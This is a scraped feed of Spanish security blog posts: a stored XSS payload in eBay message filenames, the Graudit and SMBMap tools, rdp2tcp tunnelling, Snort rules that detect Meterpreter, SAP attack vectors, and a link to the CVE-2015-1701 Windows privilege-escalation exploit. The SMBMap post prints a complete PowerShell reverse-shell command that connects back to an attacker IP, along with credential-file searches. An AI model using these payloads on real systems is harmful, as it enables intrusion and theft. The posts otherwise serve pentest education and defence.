    cat=-99&recipient=2015eshir&actn=submit&msg_cnt=hola+joven&msg_cnt_cnt=hola+joven&imageUrls=%5B%7B%22mediaId%22%3A%225103507264%22%2C%22thumbnailUrl%22%3A%22http%3A%2F%2Fi.ebayimg.com%2F00%2Fs%2FMTgzWDI3NQ%3D%3D%2Fz%2FJpAAOSwPfdVQkIP%2F%24_0.JPG%3Fset_id%3D2%22%2C%22javaClass%22%3A%22java.util.HashMap%22%7D%5D&picfile=gato</script><script>alert('XSS')</script>.jpg&tokenText=533299&tokenString=bZe2AoAAAA%253D

    5. Cuando el usuario acceda al mensaje (incluso el remitente en su carpeta de 'enviados') se ejecutará el código javascript del payload:



    En conclusión parece increíble que después de un año eBay no haya tenido la *consideración* de solucionar esta vulnerabilidad. Viendo las respuestas a las peticiones HTTP parece que ahora la mayoría de las cookies tienen el flag HTTPonly por lo que el secuestro de sesiones se antoja algo más complicado. Pero eso no significa que no se pueda llegar a hacer o que no haya otros riesgos...


    Fuente: Stored XSS in ebay messages filenames 

    Graudit, encuentra fallos en el código fuente usando grep

    $
    0
    0
    Graudit es una herramienta que permite encontrar fallos de seguridad potenciales en el código fuente usando la utilidad grep de GNU. Es comparable a otras aplicaciones de análisis estático como RATS, SWAAT y flaw-finder pero requiere mantiene los requisitos técnicos al mínimo (sólo necesita bash, grep y sed) y es muy flexible.

    Está compuesto por un sencillo script y varios conjuntos de firmas, cada una de ellas con un montón de expresiones regulares extendidas (POSIX) para analizar: ASP, JSP, Perl, PHP, Python y otros (busca comentarios sospechosos, etc)

    Uso: graudit [opts] /path/to/scan
    OPTIONS
      -A scan ALL files
      -c number of lines of context to display, default is 2
      -d database to use
      -h prints a short help text
      -i case in-sensitive search
      -l lists databases available
      -L vim friendly lines
      -v prints version number
      -x exclude these files
      -z supress colors
      -Z high contrast colors

    Database is one of asp, jsp, other, perl, php, python or default, not providing a database will use default
    /path is the path to the file or directory to audit



    Proyecto: https://github.com/wireghoul/graudit/

    Aprender Python hackeando datos reales

    $
    0
    0
    ¿Qué es más divertido que aprender Python? ¡Aprender Python hackeando datos públicos reales! 

    Hoy recopilamos este magnífico tutorial de David Beazley presentado en la PyCon de 2013 de California y con el que aprenderás conceptos básicos de Python leyendo archivos, recorriendo la web, construyendo estructuras de datos y, en definitiva, analizando datos del mundo real. 

    Al final, habrás configurado el entorno de Python, instalado algunos paquetes útiles y aprendido cómo escribir sencillos programas que podrás usar para trolear impresionar a tus amigos :-)

    Recursos

    Ejemplos de código

    • get_rt22.py. Descarga y guarda datos  XML del sitio CTA de bus.
    • find_north.py. Parsea XML.
    • pots_by_zip.py. Ejemplo de tabular datos con un diccionario.
    • outcomes.py. Hacer un gráfico circular que muestra los resultados de las inspecciones de alimentos/restaurantes.

    SMBMap, busca datos sensibles en recursos compartidos Windows desde Kali

    $
    0
    0
    Desde hoy ya tenemos disponible en los repositorios de Kali LinuxSMBMap, una herramienta que nos permitirá enumerar recursos compartidos samba a lo largo de un dominio. Y no sólo eso, enumera contenidos y permisos, soporta pass-the-hash, descarga/sube/borra ficheros, busca patrones de nombres de fichero con la opción de autodescargarlos e incluso ejecuta comandos en remoto.

    Esta herramienta fue diseñada teniendo en mente el pentesting y tiene como objetivo simplificar la búsqueda de datos potencialmente sensibles a través de redes de gran tamaño.

    Instalación en dos patás:
    sudo apt-get update
    sudo apt-get install smbmap

    Algunos ejemplos de autor:


    Salida por defecto:
    $ cat smb-hosts.txt | python smbmap.py -u jsmith -p 'R33nisP!nckl3' -d ABC
    [+] Reading from stdin
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.0.5:445 Name: unkown                                           
            Disk                                                    Permissions
            ----                                                    -----------
            ADMIN$                                                  READ, WRITE
            C$                                                      READ, WRITE
            IPC$                                                    NO ACCESS
            TMPSHARE                                                READ, WRITE
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                           
            Disk                                                    Permissions
            ----                                                    -----------
            IPC$                                                    NO ACCESS
            print$                                                  READ, WRITE
            My Dirs                                                 NO ACCESS
            WWWROOT_OLD                                             NO ACCESS
            ADMIN$                                                  READ, WRITE
            C$                                                      READ, WRITEPaste your text here.

    Ejecución de comandos:
    $ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -h 192.168.2.50
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                           
    Group name     Domain Admins
    Comment        Designated administrators of the domain

    Members

    -------------------------------------------------------------------------------
    abcadmin                 
    The command completed successfully.

    Listado de recursos no recursivo (ls):
    $ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 172.16.0.24:445 Name: 172.16.0.24                                      
        Disk                                                    Permissions
        ----                                                    -----------
        C$                                                      READ, WRITE
        .Users                                            
        dw--w--w--                0 Wed Apr 29 13:15:25 2015    .
        dw--w--w--                0 Wed Apr 29 13:15:25 2015    ..
        dr--r--r--                0 Wed Apr 22 14:50:36 2015    Administrator
        dr--r--r--                0 Thu Apr  9 14:46:57 2015    All Users
        dw--w--w--                0 Thu Apr  9 14:46:49 2015    Default
        dr--r--r--                0 Thu Apr  9 14:46:57 2015    Default User
        fr--r--r--              174 Thu Apr  9 14:44:01 2015    desktop.ini
        dw--w--w--                0 Thu Apr  9 14:46:49 2015    Public
        dr--r--r--                0 Wed Apr 22 13:33:01 2015    wingus

    Búsqueda de contenido en archivos:
    $ python smbmap.py -h 192.168.1.203 -u Administrator -p p00p1234! -F password --search-path 'C:\Users\wingus\AppData\Roaming'
    [!] Missing domain...defaulting to WORKGROUP
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.1.203:445 Name: unkown                                           
    [+] File search started on 1 hosts...this could take a while
    [+] Job 861d4cd845124cad95d42175 started on 192.168.1.203, result will be stored at C:\Windows\TEMP\861d4cd845124cad95d42175.txt
    [+] Grabbing search results, be patient, share drives tend to be big...
    [+] Job 1 of 1 completed
    [+] All jobs complete
    Host: 192.168.1.203       Pattern: password
    C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\logins.json
    C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\prefs.js

    Listado de unidades:
    Esta característica fue añadida para complementar la búsqueda de conenido.
    $ python smbmap.py -h 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L 
    [!] Missing domain...defaulting to WORKGROUP
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.1.24:445 Name: unkown                                           
    [+] Host 192.168.1.24 Local Drives: C:\ D:\
    [+] Host 192.168.1.24 Net Drive(s):
        E:      \\vboxsrv\Public      VirtualBox Shared Folders

    Shell "elegante":
    Ejecuta el script Powershell en el host SMB de la víctima (cambia la IP por la tuya para la conexión inversa).
    $ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=""""""""}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
    [+] Finding open SMB ports....
    [+] User SMB session establishd...
    [+] IP: 192.168.2.50:445        Name: unkown                                           
    [!] Error encountered, sharing violation, unable to retrieve output

    Listener netcat del atacante:
    $ nc -l 4445
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

    C:\Windows\system32>whoami
     nt authority\system
    Github:https://github.com/ShawnDEvans/smbmap

    rdp2tcp: túnel TCP sobre RDP

    $
    0
    0
    Es muy frecuente hacer un pentest de un entorno Windows mediante una máquina Linux, yo diría casi lo normal. Y fácilmente podemos encontrarnos con una DMZ o un segmento de red en la que sólo esté permitido el acceso al puerto 3389/TCP de un servidor, por lo que pivotar a través de esa máquina puede ser crucial para la intrusión.

    rdp2tcp es una herramienta del francés Nicolas Collignon que nos permite precisamente hacer un túnel TCP sobre RDP (remote desktop protocol), aprovechando sus canales virtuales para multiplexar la redirección de puertos a través de una sesión existente. El código tiene dos partes: el cliente rdesktop en el lado del atacante y el servidor en el lado de la víctima (terminal server):



    Una vez que el servidor y el cliente están ejecutándose, la administración del túnel se realiza por el controlador (en el cliente) que normalmente está escuchando en el puerto 8477 a la espera del registro de nuevos túneles.

    $ ./rdp2tcp.py info
    ctrlsrv 127.0.0.1:8477
    $ ./rdp2tcp.py add forward 127.0.0.1 1234 127.0.0.1 4567
    tunnel [127.0.0.1]:1234 ­­> [127.0.0.1]:4567 registered
    $ ./rdp2tcp.py info
    ctrlsrv 127.0.0.1:8477
    tunsrv  127.0.0.1:1234 127.0.0.1:4567

      Recursos:

      Descarga:

      Check-out SVN:  
      svn co https://rdp2tcp.svn.sourceforge.net/svnroot/rdp2tcp/trunk/rdp2tcp rdp2tcp

      o descarga desde Sourceforge:
      https://sourceforge.net/projects/rdp2tcp/files/

      Detectando tráfico de conexiones HTTP inversas de Meterpreter (Snort)

      $
      0
      0
      Una de las mejores opciones post-explotación que tiene un atacante es dejar un Meterpreter que se comunique con el servidor C&C a través de una conexión HTTP inversa. Pero, ¿cómo podemos detectarlo?, ¿cómo podemos ver si existen PCs en nuestra LAN infectados que estén utilizando este payload?

      En el blog de Didier Stevens se da respuesta a esta casuística. Para ello analizaba el tráfico de un cliente Meterpreter en modo http inverso, observando que hace peticiones HTTP regulares al servidor de Metasploit para comprobar si tiene comandos listos para ser ejecutados. Así se ve este tipo de tráfico:




      Revisando además el código fuente del protocolo HTTP inverso de Metasploit, la solicitud HTTP POST del cliente siempre tiene un payload RECV de 4 bytes con una URI con el siguiente patrón: 4 o 5 caracteres alfanuméricos, un guión bajo y 16 caracteres alfanuméricos. Los 16 caracteres alfanuméricos se eligen al azar, y los 4 o 5 caracteres alfanuméricos son una especie de checksum.

      Y para detectarlo con Snort, Didier nos facilita la siguiente regla:

      # Snort rules by Didier Stevens (http://DidierStevens.com)
      # 2015/05/01 - 2015/05/10
      # Thanks to Nathan Fowler for helping out with performance optimization
      # I start numbering my rules at SID 1618000
      alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit Meterpreter"; flow:to_server,established; content:"RECV"; http_client_body; depth:4; fast_pattern; isdataat:!0,relative; urilen:23<>24,norm; content:"POST"; pcre:"/^\/[a-z0-9]{4,5}_[a-z0-9]{16}\/$/Ui"; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/; sid:1618008; rev:1;)

      Esta regla de Snort sirve para el tráfico desde la red interna hacia el exterior. Es necesario cambiar la regla si desea detectar sólo tráfico interno.

      Aquí podéis ver un ejemplo de una alerta:

      [**] [1:1618008:1] Metasploit Meterpreter [**]
      [Classification: A Network Trojan was detected] [Priority: 1]
      05/11-22:26:31.236007 192.168.174.1:54949 -> 192.168.174.137:80
      TCP TTL:64 TOS:0x0 ID:21177 IpLen:20 DgmLen:212 DF
      ***A**** Seq: 0x1B677291  Ack: 0x861008DD  Win: 0x7680  TcpLen: 20
      [Xref => http://blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/]

      Lo que no está codificado, pero sí parametrizado con una variable, es la Cadena de agente de usuario. De forma predeterminada, es "Mozilla / 4.0 (compatible; MSIE 6.1; Windows NT)". 


      Esta cadena parece bastante normal pero sin embargo no lo es: "MSIE 6.1" es bastante raro (según la Wikipedia, no hay Internet Explorer versión 6.1) y "Windows NT" sin número de versión también es raro. 
      Combinados forman un patrón con el que también se puede identificar tráfico de Metasploit Meterpreter fácilmente, pero es una opción que se puede cambiar por lo que no es 100% fiable. 

      No obstante, si lo queréis también implementar ahí van las reglas:
      # Snort rules by Didier Stevens (http://DidierStevens.com)
      # 2015/04/30
      # I start numbering my rules at SID 1618000
      #alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/4.0 (compatible\; MSIE 6.0\; Windows NT 5.1)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618000; rev:1;)
      alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/4.0 (compatible\; MSIE 6.1\; Windows NT)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618001; rev:1;)
      #alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 6.0)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618002; rev:1;)
      alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/4.0 (compatible\; MSIE 7.0\; Windows NT 6.0\; Trident/4.0\; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}\; SLCC1\; .N|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618003; rev:1;)
      alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/4.0 (compatible\; Metasploit RSPEC)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618004; rev:1;)
      #alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/5.0 (Windows\; U\; Windows NT 5.1\; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/525.13|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618005; rev:1;)
      alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/5.0 (compatible\; Googlebot/2.1\; +http://www.google.com/bot.html)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618006; rev:1;)
      #alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Metasploit User Agent String"; flow:to_server,established; content:"User-Agent|3a| Mozilla/5.0 (compatible\; MSIE 10.0\; Windows NT 6.1\; Trident/6.0)|0d 0a|"; http_header; classtype:trojan-activity; reference:url,blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/; sid:1618007; rev:1;)

      Fuente: Detecting Network Traffic from Metasploit’s Meterpreter Reverse HTTP Module

      Los vectores de ataque más críticos en sistemas SAP

      $
      0
      0
      SAP está presente en más de 250.000 clientes en todo el mundo, incluyendo el 98 por ciento de las 100 marcas más valoradas. A pesar de que alberga la información más valiosa y sensible de una organización, los sistemas SAP no están protegidos de las amenazas informáticas mediante los enfoques tradicionales de seguridad.

      Sobre la base de las evaluaciones de cientos de implementaciones de SAP, el estudio de Onapsis Research Labs descubrió que más del 95 por ciento de los sistemas SAP fueron expuestos a vulnerabilidades que podrían conducir a compromiso total de los datos y procesos de negocio de una compañía.

      La mayoría de las compañías también están expuestas a las ventanas de parcheo prolongadas con un promedio de 18 meses o más. Sólo en 2014, fueron liberados por SAP 391 parches de seguridad, con un promedio de más de 30 por mes. Casi el 50 por ciento de ellos fueron clasificados como de "alta prioridad" por SAP.

      "La gran sorpresa es que la ciberseguridad SAP tiene fisuras en la mayoría de las empresas debido a una brecha de responsabilidad entre el equipo de operaciones de SAP y el equipo de seguridad de TI", dijo Mariano Núñez, director general de Onapsis.

      Onapsis Research Labs analizó miles de vulnerabilidades para identificar los tres métodos más comúnmente utilizados de hacking en datos críticos alojados en aplicaciones de SAP, así como la interrupción de los procesos clave del negocio. Los tres principales tipos de ataques informáticos más comunes en sistemas SAP son:

      1. Ataques al portal de los clientes y proveedores: se crean usuarios backdoor mediante la gestión de usuarios del SAP J2EE Engine. Al explotar diferentes vulnerabilidades críticas, el hacker puede obtener acceso a SAP Portals y plataformas de integración de procesos y sus sistemas internos conectados.

      2. Ataques directos a través de protocolos propietarios de SAP: estos ataques se llevan a cabo mediante la ejecución de comandos en el sistema operativo con los privilegios del administrador de SAP, y mediante la explotación de vulnerabilidades en el SAP RFC Gateway. El hacker es capaz de obtener y modificar potencialmente cualquier información comercial almacenada en la base de datos SAP.

      3. Obtención de información del cliente y de la tarjeta de crédito pivotando entre sistemas SAP: el ataque comienza pivotando mediante un sistema con menor seguridad hacia un sistema crítico para ejecutar módulos de funciones remotas en el sistema de destino.

      Al menos, a las empresas de petróleo y gas, fabricación, farmacéutica y otras organizaciones Global 2000 que ejecutan sus procesos de negocio críticos en soluciones SAP Business Suite, se les insta a estar al día con lo último de seguridad de las SAP Notes, y garantizar que sus sistemas estén configurados correctamente con el fin de satisfacer el cumplimiento requisitos y la fortificación de la seguridad. Estos deben ser parte de un plan de acción para agregar seguridad SAP a la estrategia y al plan de trabajo de la organización:

      - Obtener visibilidad de los activos basados en SAP para determinar el "valor en riesgo"
      - Prevenir los problemas de seguridad y cumplimiento a través de la monitorización continua
      - Detectar y responder a las nuevas amenazas, ataques o anomalías de comportamiento del usuario como indicadores de compromiso (IOC).

      Fuente:Top cyber attack vectors for critical SAP systems

      Exploit para elevar fácilmente privilegios en Windows 7 (CVE-2015-1701)

      $
      0
      0
      Uno de los exploits analizados en la Operación RussianDoll (APT) se aprovechaba de la vulnerabilidad CVE-2015-1701 para escalar privilegios en Windows Vista/7 y poder ejecutar código en modo kernel. 
      A grandes rasgos consigue una devolución de llamada (callback) en modo usuario obteniendo las estructuras del EPROCESS del proceso System y del proceso actual, para luego copiar datos desde el token del proceso System al actual. 
      Al finalizar, el payload continúa la ejecución en modo de usuario con los privilegios del proceso del sistema.

      Microsoft parcheó esta vulnerabilidad ayer (MS15-0517) y poco después el investigador ruso 'hfiref0x' (habitual de kernelmode.info) publicó en GitHub el código fuente y compilado (créditos a
      R136a1). Es decir, si no has han actualizado tu owned Windows 7 piensa que ahora cualquier elevación de privilegios post-explotación es trivial. It's like magic!


      Descarga ejecutable:
      Taihou64.exe(6.0 KB)
      Taihou32.exe(5.5 KB)


      Código fuente:
      Master.zip 

      GitHub:https://github.com/hfiref0x/CVE-2015-1701
      Viewing all 1666 articles
      Browse latest View live